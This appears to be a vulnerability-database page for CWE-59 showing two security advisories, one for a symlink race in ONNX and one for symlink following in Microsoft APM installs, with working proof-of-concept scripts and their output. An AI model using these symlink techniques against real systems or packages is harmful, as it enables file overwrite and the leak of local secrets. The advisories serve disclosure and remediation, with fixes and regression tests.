Common Weakness Enumeration

CWE-59

Allowed

Improper Link Resolution Before File Access ('Link Following')

Abstraction: Base · Status: Draft

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

1987 vulnerabilities reference this CWE, most recent first.

GHSA-Q56X-G2FJ-4RJ6

Vulnerability from github – Published: 2026-04-01 23:40 – Updated: 2026-06-08 20:15
VLAI
Summary
ONNX: TOCTOU arbitrary file read/write in save_external_dat
Details

Summary

The save_external_data method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems. Regarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope. The mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188

Details

Toctou

The vulnerable code pattern:

   # CHECK - Is this a file?
   if not os.path.isfile(external_data_file_path):
       # Line 228-229: USE #1 - Create if it doesn't exist
       with open(external_data_file_path, "ab"):
           pass

   # Open for writing
   with open(external_data_file_path, "r+b") as data_file:
       # Lines 233-243: Write tensor data
       data_file.seek(0, 2)
       if info.offset is not None:
           file_size = data_file.tell()
           if info.offset > file_size:
               data_file.write(b"\0" * (info.offset - file_size))
           data_file.seek(info.offset)
       offset = data_file.tell()
       data_file.write(tensor.raw_data)

There is a time gap between os.path.isfile and open with no atomic file creation flags (e.g. O_EXCEL | O_CREAT) allowing the attacker to create a symlink that is being followed (absence of O_NOFOLLOW), between these two calls. By combining these, the attack is possible as shown below in the PoC section.

Bypass

There is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like C:\ (only 1 part):

if location_path.is_absolute() and len(location_path.parts) > 1

This may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).

PoC

Install the dependencies and run this:

import os
import sys
import tempfile
import numpy as np
import onnx
from onnx import TensorProto, helper
from onnx.numpy_helper import from_array

# Create a temporary directory for our poc
with tempfile.TemporaryDirectory() as tmpdir:
    print(f"[*] Working directory: {tmpdir}")

    # Create a "sensitive" file that we'll overwrite
    sensitive_file = os.path.join(tmpdir, "sensitive.txt")
    with open(sensitive_file, 'w') as f:
        f.write("SENSITIVE DATA - DO NOT OVERWRITE")

    original_content = open(sensitive_file, 'rb').read()
    print(f"[*] Created sensitive file: {sensitive_file}")
    print(f"    Original content: {original_content}")

    # Create a simple ONNX model with a large tensor
    print("[*] Creating ONNX model with external data...")

    # Create a tensor with data > 1KB (to trigger external data)
    large_array = np.ones((100, 100), dtype=np.float32)  # 40KB tensor
    large_tensor = from_array(large_array, name='large_weight')

    # Create a minimal model
    model = helper.make_model(
        helper.make_graph(
            [helper.make_node('Identity', ['input'], ['output'])],
            'minimal_model',
            [helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])],
            [helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])],
            [large_tensor]
        )
    )

    # Save model with external data to create the external data file
    model_path = os.path.join(tmpdir, "model.onnx")
    external_data_name = "data.bin"
    external_data_path = os.path.join(tmpdir, external_data_name)

    onnx.save_model(
        model, 
        model_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=external_data_name,
        size_threshold=1024
    )

    print(f"[+] Model saved: {model_path}")
    print(f"[+] External data created: {external_data_path}")

    # Now comes the attack: replace the external data file with a symlink
    print("[!] ATTACK: Replacing external data file with symlink...")

    # Remove the legitimate external data file
    if os.path.exists(external_data_path):
        os.remove(external_data_path)
        print(f"    Removed: {external_data_path}")

    # Create symlink pointing to sensitive file
    os.symlink(sensitive_file, external_data_path)
    print(f"    Created symlink: {external_data_path} -> {sensitive_file}")

    # Now load and re-save the model, which will trigger the vulnerability
    print("Loading model and saving with external data...")
    try:
        # Load the model (without loading external data)
        loaded_model = onnx.load(model_path, load_external_data=False)

        # Modify the model slightly (to ensure we write new data)
        loaded_model.graph.initializer[0].raw_data = large_array.tobytes()

        # Save again - this will call save_external_data() and follow the symlink
        onnx.save_model(
            loaded_model,
            model_path,
            save_as_external_data=True,
            all_tensors_to_one_file=True,
            location=external_data_name,
            size_threshold=1024
        )
    except Exception as e:
        print(f"[-] Error: {e}")

    # Check if the sensitive file was overwritten
    print("[*] Checking if sensitive file was modified...")
    modified_content = open(sensitive_file, 'rb').read()

    print(f"    Original size: {len(original_content)} bytes")
    print(f"    Current size:  {len(modified_content)} bytes")
    print(f"    Original content: {original_content[:50]}")
    print(f"    Current content:  {modified_content[:50]}...")
    print()

    if modified_content != original_content:
        print("[!] Success!")
    else:
        print("[-] Failure")

Output:

[*] Working directory: /tmp/tmpqy7z88_l
[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt
    Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'

[*] Creating ONNX model with external data...
[+] Model saved: /tmp/tmpqy7z88_l/model.onnx
[+] External data created: /tmp/tmpqy7z88_l/data.bin
[!] ATTACK: Replacing external data file with symlink...
    Removed: /tmp/tmpqy7z88_l/data.bin
    Created symlink: /tmp/tmpqy7z88_l/data.bin -> /tmp/tmpqy7z88_l/sensitive.txt
Loading model and saving with external data...
[*] Checking if sensitive file was modified...
    Original size: 33 bytes
    Current size:  40033 bytes
    Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'
    Current content:  b'SENSITIVE DATA - DO NOT OVERWRITE\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00'...

Successfully overwritting the "sensitive data" file.

Impact

The impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.

Mitigations

  1. Atomic file creation
  2. Symlink protection
  3. Path canonicalization
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.20.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-367",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:40:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `save_external_data` method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.\nRegarding the TOCTOU, an attacker seems to be able to overwrite victim\u0027s files via symlink following under the same privilege scope.\nThe mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188\n\n### Details\n\n#### Toctou\nThe vulnerable code pattern:\n```python\n   # CHECK - Is this a file?\n   if not os.path.isfile(external_data_file_path):\n       # Line 228-229: USE #1 - Create if it doesn\u0027t exist\n       with open(external_data_file_path, \"ab\"):\n           pass\n   \n   # Open for writing\n   with open(external_data_file_path, \"r+b\") as data_file:\n       # Lines 233-243: Write tensor data\n       data_file.seek(0, 2)\n       if info.offset is not None:\n           file_size = data_file.tell()\n           if info.offset \u003e file_size:\n               data_file.write(b\"\\0\" * (info.offset - file_size))\n           data_file.seek(info.offset)\n       offset = data_file.tell()\n       data_file.write(tensor.raw_data)\n```\nThere is a time gap between `os.path.isfile` and `open` with no atomic file creation flags (e.g. `O_EXCEL | O_CREAT`) allowing the attacker to create a symlink that is being followed (absence of `O_NOFOLLOW`), between these two calls. By combining these, the attack is possible as shown below in the PoC section.\n\n#### Bypass\nThere is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like `C:\\` (only 1 part):\n```python\nif location_path.is_absolute() and len(location_path.parts) \u003e 1\n```\nThis may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).\n\n### PoC\n\nInstall the dependencies and run this:\n```python\nimport os\nimport sys\nimport tempfile\nimport numpy as np\nimport onnx\nfrom onnx import TensorProto, helper\nfrom onnx.numpy_helper import from_array\n\n# Create a temporary directory for our poc\nwith tempfile.TemporaryDirectory() as tmpdir:\n    print(f\"[*] Working directory: {tmpdir}\")\n\n    # Create a \"sensitive\" file that we\u0027ll overwrite\n    sensitive_file = os.path.join(tmpdir, \"sensitive.txt\")\n    with open(sensitive_file, \u0027w\u0027) as f:\n        f.write(\"SENSITIVE DATA - DO NOT OVERWRITE\")\n\n    original_content = open(sensitive_file, \u0027rb\u0027).read()\n    print(f\"[*] Created sensitive file: {sensitive_file}\")\n    print(f\"    Original content: {original_content}\")\n\n    # Create a simple ONNX model with a large tensor\n    print(\"[*] Creating ONNX model with external data...\")\n\n    # Create a tensor with data \u003e 1KB (to trigger external data)\n    large_array = np.ones((100, 100), dtype=np.float32)  # 40KB tensor\n    large_tensor = from_array(large_array, name=\u0027large_weight\u0027)\n\n    # Create a minimal model\n    model = helper.make_model(\n        helper.make_graph(\n            [helper.make_node(\u0027Identity\u0027, [\u0027input\u0027], [\u0027output\u0027])],\n            \u0027minimal_model\u0027,\n            [helper.make_tensor_value_info(\u0027input\u0027, TensorProto.FLOAT, [100, 100])],\n            [helper.make_tensor_value_info(\u0027output\u0027, TensorProto.FLOAT, [100, 100])],\n            [large_tensor]\n        )\n    )\n\n    # Save model with external data to create the external data file\n    model_path = os.path.join(tmpdir, \"model.onnx\")\n    external_data_name = \"data.bin\"\n    external_data_path = os.path.join(tmpdir, external_data_name)\n\n    onnx.save_model(\n        model, \n        model_path,\n        save_as_external_data=True,\n        all_tensors_to_one_file=True,\n        location=external_data_name,\n        size_threshold=1024\n    )\n\n    print(f\"[+] Model saved: {model_path}\")\n    print(f\"[+] External data created: {external_data_path}\")\n\n    # Now comes the attack: replace the external data file with a symlink\n    print(\"[!] ATTACK: Replacing external data file with symlink...\")\n\n    # Remove the legitimate external data file\n    if os.path.exists(external_data_path):\n        os.remove(external_data_path)\n        print(f\"    Removed: {external_data_path}\")\n\n    # Create symlink pointing to sensitive file\n    os.symlink(sensitive_file, external_data_path)\n    print(f\"    Created symlink: {external_data_path} -\u003e {sensitive_file}\")\n\n    # Now load and re-save the model, which will trigger the vulnerability\n    print(\"Loading model and saving with external data...\")\n    try:\n        # Load the model (without loading external data)\n        loaded_model = onnx.load(model_path, load_external_data=False)\n\n        # Modify the model slightly (to ensure we write new data)\n        loaded_model.graph.initializer[0].raw_data = large_array.tobytes()\n\n        # Save again - this will call save_external_data() and follow the symlink\n        onnx.save_model(\n            loaded_model,\n            model_path,\n            save_as_external_data=True,\n            all_tensors_to_one_file=True,\n            location=external_data_name,\n            size_threshold=1024\n        )\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n    \n    # Check if the sensitive file was overwritten\n    print(\"[*] Checking if sensitive file was modified...\")\n    modified_content = open(sensitive_file, \u0027rb\u0027).read()\n    \n    print(f\"    Original size: {len(original_content)} bytes\")\n    print(f\"    Current size:  {len(modified_content)} bytes\")\n    print(f\"    Original content: {original_content[:50]}\")\n    print(f\"    Current content:  {modified_content[:50]}...\")\n    print()\n    \n    if modified_content != original_content:\n        print(\"[!] Success!\")\n    else:\n        print(\"[-] Failure\")\n```\nOutput:\n```\n[*] Working directory: /tmp/tmpqy7z88_l\n[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt\n    Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n\n[*] Creating ONNX model with external data...\n[+] Model saved: /tmp/tmpqy7z88_l/model.onnx\n[+] External data created: /tmp/tmpqy7z88_l/data.bin\n[!] ATTACK: Replacing external data file with symlink...\n    Removed: /tmp/tmpqy7z88_l/data.bin\n    Created symlink: /tmp/tmpqy7z88_l/data.bin -\u003e /tmp/tmpqy7z88_l/sensitive.txt\nLoading model and saving with external data...\n[*] Checking if sensitive file was modified...\n    Original size: 33 bytes\n    Current size:  40033 bytes\n    Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n    Current content:  b\u0027SENSITIVE DATA - DO NOT OVERWRITE\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\u0027...\n```\nSuccessfully overwritting the \"sensitive data\" file.\n\n### Impact\nThe impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.\n\n### Mitigations\n1. Atomic file creation\n2. Symlink protection\n3. Path canonicalization",
  "id": "GHSA-q56x-g2fj-4rj6",
  "modified": "2026-06-08T20:15:31Z",
  "published": "2026-04-01T23:40:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/security/advisories/GHSA-q56x-g2fj-4rj6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/onnx/onnx"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ONNX: TOCTOU arbitrary file read/write in save_external_dat "
}

GHSA-Q5PP-GVJG-H7V4

Vulnerability from github – Published: 2026-05-18 13:26 – Updated: 2026-05-18 13:26
VLAI
Summary
Microsoft APM: Symlinks under `.apm/prompts/` and `.apm/agents/` are dereferenced during `apm install`, copying host-local file contents into the project tree
Details

Summary

Two primitive integrators in apm-cli enumerate package files with bare Path.glob() / Path.rglob() calls and read each match with Path.read_text(), transparently following symbolic links.

A symlink committed inside a remote APM dependency under .apm/prompts/<x>.prompt.md or .apm/agents/<x>.agent.md is preserved verbatim into apm_modules/ on clone and then dereferenced during integration, with the resolved content written as a regular file into the project's deploy directories.

The package content_hash, the pre-deploy SecurityGate scan, and apm audit do not flag this. The deploy roots are not added to the auto-generated .gitignore, so the resulting files are staged by git add by default.

This was reproduced via the standard owner/repo#tag install flow against a real bare git repository. No --force or special flags were used.

Affected code

Sinks

  • src/apm_cli/integration/prompt_integrator.py
    PromptIntegrator.find_prompt_files: package_path.glob("*.prompt.md") and apm_prompts.glob("*.prompt.md")
    No symlink filter.

  • src/apm_cli/integration/prompt_integrator.py
    PromptIntegrator.copy_prompt: source.read_text("utf-8")

  • src/apm_cli/integration/agent_integrator.py
    AgentIntegrator.find_agent_files: package_path.glob("*.agent.md"), apm_agents.rglob("*.agent.md"), apm_agents.rglob("*.md"), apm_chatmodes.glob("*.chatmode.md")
    No symlink filter.

  • src/apm_cli/integration/agent_integrator.py
    AgentIntegrator.copy_agent: source.read_text("utf-8")

  • src/apm_cli/integration/agent_integrator.py
    _write_codex_agent: source.read_text("utf-8"); resolved bytes are embedded into developer_instructions of the generated .codex/agents/<name>.toml

  • src/apm_cli/integration/agent_integrator.py
    _write_windsurf_agent_skill: same dereference pattern; resolved bytes land in .windsurf/skills/<name>/SKILL.md

Safe pattern already present in the codebase

  • src/apm_cli/integration/base_integrator.py
    BaseIntegrator.find_files_by_glob() rejects:
  • symlinks via f.is_symlink()
  • hardlinks via f.stat().st_nlink > 1
  • resolved paths escaping the package root

This helper is already used by InstructionIntegrator.find_instruction_files.

Documented contract that the affected integrators violate

In src/apm_cli/install/phases/local_content.py, _copy_local_package documents the intent of preserving symlinks in apm_modules/:

This is security-relevant and not intended behavior because the codebase already documents that symlinks preserved in apm_modules/ are supposed to remain inert unless a consumer follows them safely. The affected integrators are exactly those consumer paths, and they dereference the symlink without sandboxing or symlink checks. That makes this an implementation gap, not expected design.

The affected integrators are the consumer tools that follow the link without sandboxing.

Reproducer

This proof of concept is localhost-only and uses a sentinel file, not a real secret.

It uses a real bare git repository and git config insteadOf so the install path is the same one APM uses for real GitHub clones (Repo.clone_from). No network access is required.

# 0. Clean slate
rm -rf /tmp/poc /tmp/poc_secret /tmp/poc_home
mkdir -p /tmp/poc/{remote_bare,victim_project,work_repo} /tmp/poc_home

# 1. Sentinel file outside the project and outside the package
echo 'APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL' > /tmp/poc_secret

# 2. Build a benign-looking APM package with two symlinks in it
cd /tmp/poc/work_repo
git init -q -b main .
git config user.email t@example.test
git config user.name 'PoC'

cat > apm.yml <<'YML'
name: helpful-agents
version: 1.0.0
description: Helpful AI agent collection
YML

mkdir -p .apm/agents .apm/prompts

cat > .apm/agents/helper.agent.md <<'AGENT'
---
name: helper
description: A helpful assistant
---
You are a helpful assistant.
AGENT

ln -s /tmp/poc_secret .apm/agents/notes.agent.md
ln -s /tmp/poc_secret .apm/prompts/welcome.prompt.md

git add -A
git commit -q -m "initial"
git tag v1.0.0

git ls-tree -r HEAD | grep '^120000'

# 3. Bare repo
git clone --bare -q /tmp/poc/work_repo /tmp/poc/remote_bare/helpful-agents.git

# 4. Rewrite the GitHub URL APM constructs onto the local bare repo
cat > /tmp/poc_home/.gitconfig <<'GITCONFIG'
[user]
    email = poc@example.test
    name  = PoC
[url "/tmp/poc/remote_bare/helpful-agents.git"]
    insteadOf = https://github.com/poc-author/helpful-agents
[url "/tmp/poc/remote_bare/helpful-agents.git"]
    insteadOf = https://github.com/poc-author/helpful-agents.git
[safe]
    directory = *
GITCONFIG

# 5. Victim project
mkdir -p /tmp/poc/victim_project/{.github,.claude,.cursor,.codex,.windsurf}

cat > /tmp/poc/victim_project/apm.yml <<'YML'
name: victim-project
version: 1.0.0
description: Victim project
targets: [copilot, claude, cursor, codex, windsurf]
dependencies:
  apm:
    - poc-author/helpful-agents#v1.0.0
YML

# 6. Default install, no special flags
cd /tmp/poc/victim_project
HOME=/tmp/poc_home APM_NO_CACHE=1 GITHUB_TOKEN= apm install

Observed result

Default install output:

[>] Installing dependencies from apm.yml...
[>] Resolving poc-author/helpful-agents...
[i] Targets: claude, codex, copilot, cursor, windsurf  (source: apm.yml)
  [+] poc-author/helpful-agents #v1.0.0 @fa437578
  |-- 1 prompts integrated -> .github/prompts/
  |-- 10 agents integrated -> 5 targets
[*] Installed 1 APM dependency in 0.1s.

The source under apm_modules/ remains a symlink:

ls -l apm_modules/poc-author/helpful-agents/.apm/agents/notes.agent.md
# lrwxrwxrwx ... .apm/agents/notes.agent.md -> /tmp/poc_secret

The deploy roots receive plain regular files containing the sentinel:

  • .github/agents/notes.agent.md
  • .github/prompts/welcome.prompt.md
  • .claude/agents/notes.md
  • .cursor/agents/notes.md
  • .codex/agents/notes.toml
  • .windsurf/skills/notes/SKILL.md

Example:

cat /tmp/poc/victim_project/.claude/agents/notes.md
# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL

The deployed files persist after the original symlink target is removed:

rm /tmp/poc_secret
cat /tmp/poc/victim_project/.claude/agents/notes.md
# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL

Defenses that did not flag the result

  • The pre-deploy SecurityGate.scan_files walks with followlinks=False and continues past is_symlink() files. The symlinked source is not scanned.
  • apm audit against the post-install tree reports no findings.
  • The auto-written .gitignore contains only apm_modules/. The deploy roots are not excluded, and git add -A stages all deployed files alongside apm.lock.yaml.
  • The package content_hash is computed before symlink resolution and remained stable across installs whose resolved deployed bytes differed.

Impact

The directly demonstrated impact is file-content disclosure.

Any file readable by the user running apm install can be selected by the package author through an absolute symlink target committed inside the dependency, and its contents are then written into the project's deploy directories as regular files.

Realistic downstream consequences

These were not separately demonstrated with real secrets, but they follow from the validated behavior:

  • The deploy directories (.github/, .claude/, .cursor/, .codex/, .windsurf/) are project-tracked by convention, and the auto-generated .gitignore does not exclude them.
  • In automation that regenerates and commits agent context, the leaked files can be pushed without human review.
  • A symlink target such as /proc/self/environ would resolve to the APM process environment at install time.

Why this is security-relevant and not intended behavior

This is not just "a malicious package being malicious."

The codebase already contains the correct defense in BaseIntegrator.find_files_by_glob(), and that helper explicitly rejects symlinks, hardlinks, and containment escapes. InstructionIntegrator uses it. PromptIntegrator and AgentIntegrator do not.

The codebase also documents that preserving symlinks inside apm_modules/ is acceptable only because the links are supposed to remain inert unless a consumer tool follows them safely. Here, APM itself is the consumer tool that follows them unsafely.

That architectural asymmetry makes this look like an implementation oversight, not intended behavior.

Recommended fix

Route both affected finders through the existing safe helper.

# src/apm_cli/integration/prompt_integrator.py
def find_prompt_files(self, package_path: Path) -> list[Path]:
    return self.find_files_by_glob(
        package_path, "*.prompt.md", subdirs=[".apm/prompts"]
    )
# src/apm_cli/integration/agent_integrator.py
def find_agent_files(self, package_path: Path) -> list[Path]:
    files: list[Path] = []
    files += self.find_files_by_glob(package_path, "*.agent.md")
    files += self.find_files_by_glob(package_path, "*.chatmode.md")
    files += self.find_files_by_glob(
        package_path, "*.agent.md", subdirs=[".apm/agents"]
    )
    files += self.find_files_by_glob(
        package_path, "*.md", subdirs=[".apm/agents"]
    )
    files += self.find_files_by_glob(
        package_path, "*.chatmode.md", subdirs=[".apm/chatmodes"]
    )
    return files

Optional defense in depth

  • In copy_prompt, copy_agent, _write_codex_agent, and _write_windsurf_agent_skill, explicitly raise on source.is_symlink() before reading.
  • Treat any symlink under a dependency's .apm/ tree as a security finding during scanning.

Regression test idea

Add unit tests that create a fixture package with symlinks under .apm/prompts/, .apm/agents/, and .apm/chatmodes/, then assert that the symlink entries are filtered out before any read occurs.

Example shape:

def test_symlink_under_apm_prompts_is_rejected(tmp_path):
    pkg = tmp_path / "pkg"
    (pkg / ".apm/prompts").mkdir(parents=True)

    sentinel = tmp_path / "sentinel.txt"
    sentinel.write_text("REGRESSION-SENTINEL")

    (pkg / ".apm/prompts/leak.prompt.md").symlink_to(sentinel)

    result = PromptIntegrator().find_prompt_files(pkg)

    assert all(not p.is_symlink() for p in result)
    assert not any(p.name == "leak.prompt.md" for p in result)

A second test should mirror the same pattern for AgentIntegrator.find_agent_files().

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.12.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "apm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.4"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T13:26:06Z",
    "nvd_published_at": "2026-05-15T17:16:48Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nTwo primitive integrators in `apm-cli` enumerate package files with bare `Path.glob()` / `Path.rglob()` calls and read each match with `Path.read_text()`, transparently following symbolic links.\n\nA symlink committed inside a remote APM dependency under `.apm/prompts/\u003cx\u003e.prompt.md` or `.apm/agents/\u003cx\u003e.agent.md` is preserved verbatim into `apm_modules/` on clone and then dereferenced during integration, with the resolved content written as a regular file into the project\u0027s deploy directories.\n\nThe package `content_hash`, the pre-deploy `SecurityGate` scan, and `apm audit` do not flag this. The deploy roots are not added to the auto-generated `.gitignore`, so the resulting files are staged by `git add` by default.\n\nThis was reproduced via the standard `owner/repo#tag` install flow against a real bare git repository. No `--force` or special flags were used.\n\n\n## Affected code\n\n### Sinks\n\n- `src/apm_cli/integration/prompt_integrator.py`  \n  `PromptIntegrator.find_prompt_files`: `package_path.glob(\"*.prompt.md\")` and `apm_prompts.glob(\"*.prompt.md\")`  \n  No symlink filter.\n\n- `src/apm_cli/integration/prompt_integrator.py`  \n  `PromptIntegrator.copy_prompt`: `source.read_text(\"utf-8\")`\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `AgentIntegrator.find_agent_files`: `package_path.glob(\"*.agent.md\")`, `apm_agents.rglob(\"*.agent.md\")`, `apm_agents.rglob(\"*.md\")`, `apm_chatmodes.glob(\"*.chatmode.md\")`  \n  No symlink filter.\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `AgentIntegrator.copy_agent`: `source.read_text(\"utf-8\")`\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `_write_codex_agent`: `source.read_text(\"utf-8\")`; resolved bytes are embedded into `developer_instructions` of the generated `.codex/agents/\u003cname\u003e.toml`\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `_write_windsurf_agent_skill`: same dereference pattern; resolved bytes land in `.windsurf/skills/\u003cname\u003e/SKILL.md`\n\n### Safe pattern already present in the codebase\n\n- `src/apm_cli/integration/base_integrator.py`  \n  `BaseIntegrator.find_files_by_glob()` rejects:\n  - symlinks via `f.is_symlink()`\n  - hardlinks via `f.stat().st_nlink \u003e 1`\n  - resolved paths escaping the package root\n\nThis helper is already used by `InstructionIntegrator.find_instruction_files`.\n\n### Documented contract that the affected integrators violate\n\nIn `src/apm_cli/install/phases/local_content.py`, `_copy_local_package` documents the intent of preserving symlinks in `apm_modules/`:\n\n\u003e This is security-relevant and not intended behavior because the codebase already documents that symlinks preserved in `apm_modules/` are supposed to remain inert unless a consumer follows them safely. The affected integrators are exactly those consumer paths, and they dereference the symlink without sandboxing or symlink checks. That makes this an implementation gap, not expected design.\n\nThe affected integrators are the consumer tools that follow the link without sandboxing.\n\n## Reproducer\n\nThis proof of concept is localhost-only and uses a sentinel file, not a real secret.\n\nIt uses a real bare git repository and `git config insteadOf` so the install path is the same one APM uses for real GitHub clones (`Repo.clone_from`). No network access is required.\n\n```bash\n# 0. Clean slate\nrm -rf /tmp/poc /tmp/poc_secret /tmp/poc_home\nmkdir -p /tmp/poc/{remote_bare,victim_project,work_repo} /tmp/poc_home\n\n# 1. Sentinel file outside the project and outside the package\necho \u0027APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL\u0027 \u003e /tmp/poc_secret\n\n# 2. Build a benign-looking APM package with two symlinks in it\ncd /tmp/poc/work_repo\ngit init -q -b main .\ngit config user.email t@example.test\ngit config user.name \u0027PoC\u0027\n\ncat \u003e apm.yml \u003c\u003c\u0027YML\u0027\nname: helpful-agents\nversion: 1.0.0\ndescription: Helpful AI agent collection\nYML\n\nmkdir -p .apm/agents .apm/prompts\n\ncat \u003e .apm/agents/helper.agent.md \u003c\u003c\u0027AGENT\u0027\n---\nname: helper\ndescription: A helpful assistant\n---\nYou are a helpful assistant.\nAGENT\n\nln -s /tmp/poc_secret .apm/agents/notes.agent.md\nln -s /tmp/poc_secret .apm/prompts/welcome.prompt.md\n\ngit add -A\ngit commit -q -m \"initial\"\ngit tag v1.0.0\n\ngit ls-tree -r HEAD | grep \u0027^120000\u0027\n\n# 3. Bare repo\ngit clone --bare -q /tmp/poc/work_repo /tmp/poc/remote_bare/helpful-agents.git\n\n# 4. Rewrite the GitHub URL APM constructs onto the local bare repo\ncat \u003e /tmp/poc_home/.gitconfig \u003c\u003c\u0027GITCONFIG\u0027\n[user]\n    email = poc@example.test\n    name  = PoC\n[url \"/tmp/poc/remote_bare/helpful-agents.git\"]\n    insteadOf = https://github.com/poc-author/helpful-agents\n[url \"/tmp/poc/remote_bare/helpful-agents.git\"]\n    insteadOf = https://github.com/poc-author/helpful-agents.git\n[safe]\n    directory = *\nGITCONFIG\n\n# 5. Victim project\nmkdir -p /tmp/poc/victim_project/{.github,.claude,.cursor,.codex,.windsurf}\n\ncat \u003e /tmp/poc/victim_project/apm.yml \u003c\u003c\u0027YML\u0027\nname: victim-project\nversion: 1.0.0\ndescription: Victim project\ntargets: [copilot, claude, cursor, codex, windsurf]\ndependencies:\n  apm:\n    - poc-author/helpful-agents#v1.0.0\nYML\n\n# 6. Default install, no special flags\ncd /tmp/poc/victim_project\nHOME=/tmp/poc_home APM_NO_CACHE=1 GITHUB_TOKEN= apm install\n```\n\n## Observed result\n\nDefault install output:\n\n```text\n[\u003e] Installing dependencies from apm.yml...\n[\u003e] Resolving poc-author/helpful-agents...\n[i] Targets: claude, codex, copilot, cursor, windsurf  (source: apm.yml)\n  [+] poc-author/helpful-agents #v1.0.0 @fa437578\n  |-- 1 prompts integrated -\u003e .github/prompts/\n  |-- 10 agents integrated -\u003e 5 targets\n[*] Installed 1 APM dependency in 0.1s.\n```\n\nThe source under `apm_modules/` remains a symlink:\n\n```bash\nls -l apm_modules/poc-author/helpful-agents/.apm/agents/notes.agent.md\n# lrwxrwxrwx ... .apm/agents/notes.agent.md -\u003e /tmp/poc_secret\n```\n\nThe deploy roots receive plain regular files containing the sentinel:\n\n- `.github/agents/notes.agent.md`\n- `.github/prompts/welcome.prompt.md`\n- `.claude/agents/notes.md`\n- `.cursor/agents/notes.md`\n- `.codex/agents/notes.toml`\n- `.windsurf/skills/notes/SKILL.md`\n\nExample:\n\n```bash\ncat /tmp/poc/victim_project/.claude/agents/notes.md\n# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL\n```\n\nThe deployed files persist after the original symlink target is removed:\n\n```bash\nrm /tmp/poc_secret\ncat /tmp/poc/victim_project/.claude/agents/notes.md\n# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL\n```\n\n## Defenses that did not flag the result\n\n- The pre-deploy `SecurityGate.scan_files` walks with `followlinks=False` and continues past `is_symlink()` files. The symlinked source is not scanned.\n- `apm audit` against the post-install tree reports no findings.\n- The auto-written `.gitignore` contains only `apm_modules/`. The deploy roots are not excluded, and `git add -A` stages all deployed files alongside `apm.lock.yaml`.\n- The package `content_hash` is computed before symlink resolution and remained stable across installs whose resolved deployed bytes differed.\n\n## Impact\n\nThe directly demonstrated impact is file-content disclosure.\n\nAny file readable by the user running `apm install` can be selected by the package author through an absolute symlink target committed inside the dependency, and its contents are then written into the project\u0027s deploy directories as regular files.\n\n### Realistic downstream consequences\n\nThese were not separately demonstrated with real secrets, but they follow from the validated behavior:\n\n- The deploy directories (`.github/`, `.claude/`, `.cursor/`, `.codex/`, `.windsurf/`) are project-tracked by convention, and the auto-generated `.gitignore` does not exclude them.\n- In automation that regenerates and commits agent context, the leaked files can be pushed 